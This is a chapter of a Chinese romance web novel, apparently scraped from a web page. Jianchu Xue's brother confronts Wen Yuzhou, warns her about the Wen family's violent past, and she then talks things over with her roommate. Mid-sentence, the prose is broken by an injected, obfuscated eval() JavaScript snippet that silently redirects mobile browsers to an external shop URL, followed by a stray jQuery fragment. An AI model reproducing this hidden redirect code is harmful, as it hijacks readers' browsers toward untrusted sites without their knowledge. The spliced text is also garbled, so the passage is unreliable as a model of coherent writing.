简初雪泪眼婆娑地睁眼,他脱掉一只袖子,将后背露给她。
肌理匀称光滑的后背交错着几道青色瘀伤,其中一道延伸到脖颈,看上去像是用棍棒之类的工具打的。
“这……”简初雪伸手触摸,他下意识拱了下,偏头,“不严重,对不对。”
从伤痕来看,确实不严重。
像她这样的皮肤,胳膊腿稍微碰一下,也会有这样的瘀痕。
可闻屿舟是谁,闻家的实际掌权人,谁敢对他动手?
“谁打的你?”咬着牙,恨不能打回去。
闻屿舟慢慢穿起袖子,回过身,往她身边挪了下,轻轻拭去她脸上的泪花,蓦然失笑,“又没有打你,这么记仇。”
简初雪用手背擦了下下巴,“总之打人就是不对。”
他垂睫,盯着她浓密湿润的睫毛,因为哭,眼皮上晕着淡淡水红,连微张的嘴唇也是水红色。
简初雪犹自愤愤抽噎,又擦了下下巴。
直到感觉到清冽湿濡的气息,下意识抬眸,他的眸子像雪山下的冰带,流光溢彩,晶莹剔透。
简初雪看呆了。
闻屿舟双眸微蹙,似委屈,只一瞬便垂睫。
他没想到,下一秒女孩会环上他脖颈,抱着他,似安抚般轻轻拍着后背问他,“那你还疼吗?”
……
从未有过的体验。
闻屿舟吞咽了下,心绪渐渐起伏,“初雪,你知道我们,”
急促的敲门声响起,惊得简初雪跳着躲开,像是做坏事被抓包,胡乱地擦着脸上未干的泪花。
闻屿舟似乎也楞了下,随即淡定地系扣子。
门一下被推开,工作人员一脸为难,“闻先生,陆总他,”得到指示,颔首退出。
陆诗琪闯进来,恰好看到正在系扣子的闻屿舟,半敞着领口。
再看简初雪,一副做贼心虚的样子,似乎哭过,脸上还有奇异的潮红。
一股火苗蹭蹭蹭往上窜。
“你们在干什么?”
“哥你怎么,”简初雪瞪着陆诗琪,“怎么这么没礼貌。”
陆诗琪都气笑了,直接不管妹妹,“闻屿舟,我警告你,有我在,你别想再接近初雪。”
“哥。”
闻屿舟慢条斯理地整理好衬衫,“初雪是成年人,有自己的思想,她的人生从来不需要你这个‘哥哥’指手画脚。”
说到哥哥两个字时,他还特意停顿思索了下。
似乎是在嘲讽一个十几年不曾出现的“哥哥”,突然跑出来干预妹妹的人生,是多么可笑的一件事。
“你和我妹妹所谓的‘婚约’,”特意咬重后两个字,“只不过是长辈的玩笑,就算你当真,结了婚还有离婚的,但血缘永远不会变。”
简初雪拦着陆诗琪,“哥你别说了。”
“胳膊肘往外拐。”陆诗琪咬牙切齿,“跟我回去。”
陆诗琪拖着简初雪,她回头,门关上的那一刻,她看到他拿起茶杯又放下,可能是没茶,直接端起简初雪那杯喝了。
随即扯开衣领。
她一下子笑了。
“简初雪。”
陆诗琪连名带姓,简初雪忙收敛,“哥,你今天真的很过分。”
“我过分?”
“哥哥,你如今的身份地位,有这么高吧,”她举着手高过他头顶比划着,“天鹅湾画展那天好多人都在说你,说明我哥哥很厉害。”
先戴高帽子肯定没错。
陆诗琪面色稍霁。
“所以你怎么能没有经过主人家同意就往里闯呢,有失体面。”
陆诗琪连连冷笑,“我要是晚来一步,你生米都煮成熟饭了。”
“你你你胡说。”简初雪又羞又愤,气的差点跳起来薅他头发。
“我胡说,当我瞎是不是,”一把将她塞进副驾驶,自己坐上驾驶座,“安全带。”
简初雪气的将脸转向车窗,只给他留一个傲娇的背影。
对付哥哥,这种行为完全属于本能。
“你忘了我跟你说的话,不要再与他接触。”
“他救了我。”
“我和爸爸会还这份恩情,不需要你牺牲自己。”
简初雪抓狂,“你怎么能这么理解,闻屿舟怎么了?”
“哼哼!你知道他做过什么吗,他根本就是个冷血动物,没有心。”
“冷血动物怎么会不顾危险救我,那当初是谁给我定的婚事?”简初雪气急,脱口而出,“哼,要不是有婚约,我还没机会呢。”
陆诗琪猛地刹车。
“我要回学校。”
车子再次启动,一直到学校门口,简初雪憋着一口气,解开安全带,车门却打不开,她猛地看回去,无声地对抗。
陆诗琪先软了语气,“初雪,你不了解他,闻屿舟是想借陆家的势力清除内乱,他只是想利用你。”
“你不也一样,在医院,我没觉得你有多喜欢陈萱。”
冬日的天总是黑的早,刚到晚饭时间,整个天几乎黑透。
简初雪抿着唇,懊悔自己的口不择言,低声道歉,“哥哥,我不是故意的。”
车内光线昏暗,看不清陆诗琪的眼神,但她能感觉到哥哥很落寞。
“哥哥?”
“小雪,陪我吃个饭吧。”
晚餐时间,校门口的餐厅很多人,他俩走进餐厅,原本哄闹的声音骤然暂停,一个个看向他们。
以前和慕寒走在一起,也会引起侧目,不过那时的目光基本都集中在她身上。
这次有点平均。
直到两人进了包间,哄嗡声才恢复。
此时饭点,只剩下小包,没有窗户的那种,陆诗琪明显很不习惯,端起服务员倒的苦荞茶看了几眼,皱着眉放下。
哎!和闻屿舟一样,都是少爷,没在民间生活过,她默默帮他拿了瓶矿泉水。
简初雪喝着苦荞茶,“哥,你有洁癖吗?”
陆诗琪思索了下,他从小到大的生活环境并不需要考虑这样的问题。
“没有。”
简初雪扫了眼苦荞茶,明白。
陆诗琪不喝小饭馆玻璃壶里泡的苦荞茶,闻屿舟不喝大叔家大茶缸子里煮的生姜红糖水。
没有洁癖,只是习惯。
“那你和闻屿舟还挺像的。”
话音未落,陆诗琪已经变脸。
简初雪急忙解释,“他和你一样挑剔。赶来救我的那晚,他在泥塘里身体失温,都不喝大叔家煮的生姜红糖水。”
闻言,陆诗琪意外没有接话,敛眸思索着什么。
恰好此时她点的鳗鱼饭上了,未免哥哥不高兴,简初雪赶紧帮他拆好廉价的一次性碗筷,将中间最大最肥的鳗鱼夹给哥哥。
陆诗琪看着她做这一切,目光柔和,身上的扎刺渐渐收敛。
他笑着将碗里的鳗鱼夹到她碗里,心想,还是不要告诉她吧,保留她心中那一份纯净。
手机铃声响了下,看着是“闻屿舟”来电,简初雪在陆诗琪制止之前接起,“喂?…嗯,…好。”
挂了电话,简初雪直截了当,“我答应了闻屿舟的邀约。”
“我说了,不要再见他。”
“没有理由不见呀,更何况人家几次三番救我,吃饭而已,我都要拒绝,那太让人寒心了。”
陆诗琪连连冷哼,“我说一句,你有十句是不是。”
“本来就是你没道理。”
“你自己也说了,他对你有所图谋,你之前明明躲着他。”
简初
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14221004|151003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
雪歪着脑袋,“我之前,之前误会他了。”
陆诗琪似无奈叹气,“初雪,你知道他为什么不喝生姜红糖水吗?”
和你一样少爷病呗。
陆诗琪突然端起早已凉掉的苦荞茶,仰头一饮而尽,“身体失温时喝一口生姜红糖水是可以救命的,但他不会喝。”
简初雪怔怔看着他。
“不是因为洁癖,是不相信。”
陆诗琪放下塑料茶杯,缓了语气,“你太单纯,跟他在一起,你会受伤的。”
“不相信什么?”简初雪问。
陆诗琪心中不忍,却还是说道:“闻家真正的家主其实是闻柏舟,六年前外界才得知他死亡的消息,大家推测,他真正死亡的时间更早,只是为了让闻屿舟顺利接手,才隐瞒的。”
“他是谁?”
简初雪垂下眼眸,“怎么死的?”
“自杀。”
陆诗琪咬牙,“也可以是他杀。”
简初雪悚然抬眸。
没有窗户的小包间压抑,昏暗,窒息。
“九年前闻柏舟退居幕后,有传言说是他身边最信任的人给他下药,导致神经错乱,接着,闻家经历了一场动荡,清理了很多人。”
“他就是闻屿舟的大哥。”
“闻家太复杂。”
“闻屿舟不会信任任何人。”
“他需要的是陆家的力量清除内乱,没有你,他也会选择联合别的家族势力。”
“……”
简初雪手脚冰凉地回到寝室,脑子一片混沌,闻屿舟的脸,和他相处的点滴,陆诗琪说的话,交错着、穿插着、重叠着……
好多好多人脸,看不清,浓雾越来越重,光线越来越暗,画面越来越扭曲……
啪!
寝室灯刷的亮起。
简初雪一怔,轻轻喘息着,这才看清楚衣柜上贴着张赛博朋克海报。
“你怎么不开灯?”赵艺玮提着麻辣烫,“我看你吃过了,就不跟你分享了。”
她一下子站起,拿了包就要走,赵艺玮叫住她,“诶诶,慕寒在楼下,你现在出去不太好吧。”
“谁?哦。”简初雪感觉心里压着一块石头,“为什么现在出去不太好?”
“你看手机,群里,还有朋友圈,不知道有没有发网上。”
简初雪觉得莫名其妙,却还是打开手机,是她和陆诗琪吃饭的照片,各种角度,还有陆诗琪豪车照片。
“真够无聊。”
她又不是明星,盯着她干嘛。
哦不对,他们是盯着陆诗琪,啧。
“艺玮,我要回家几天,走了。”
“诶不行,你去西乡那几天我一个人在寝室,太害怕了,黄莺搬出去住,你也走,不行不行。”
简初雪满心疲惫,“艺玮对不起,我真的,我需要安静两天,我……”
“大家就是发发照片,你越是躲,他们越讨论,慕寒就是不甘心,你别管。”
“谁管他。”
“那你干嘛要躲?”
“我不是要躲,我只是,”简初雪烦躁地坐下,“艺玮,假如你知道了一些事,有点怕见某人,也不是怕,就是不知道该不该见,你怎么办?”
“不见喽。”
简初雪愣住。
赵艺玮嗦了一口粉,“非见不可吗?”
也不是。她机械地摇头,蓦然急促地喘息,不见就可以解决所有的问题,她就不需要苦恼,可是不见他……心里竟隐隐难过。
她这么苦恼,想的是该怎么见,原来自始至终是她潜意识里想见某人。
赵艺玮戳了个牛肉丸,“张嘴。”
鲜香麻辣的味道充满口腔,简初雪嚼着牛肉丸,“我懂了,艺玮,但我还是要回家两天。”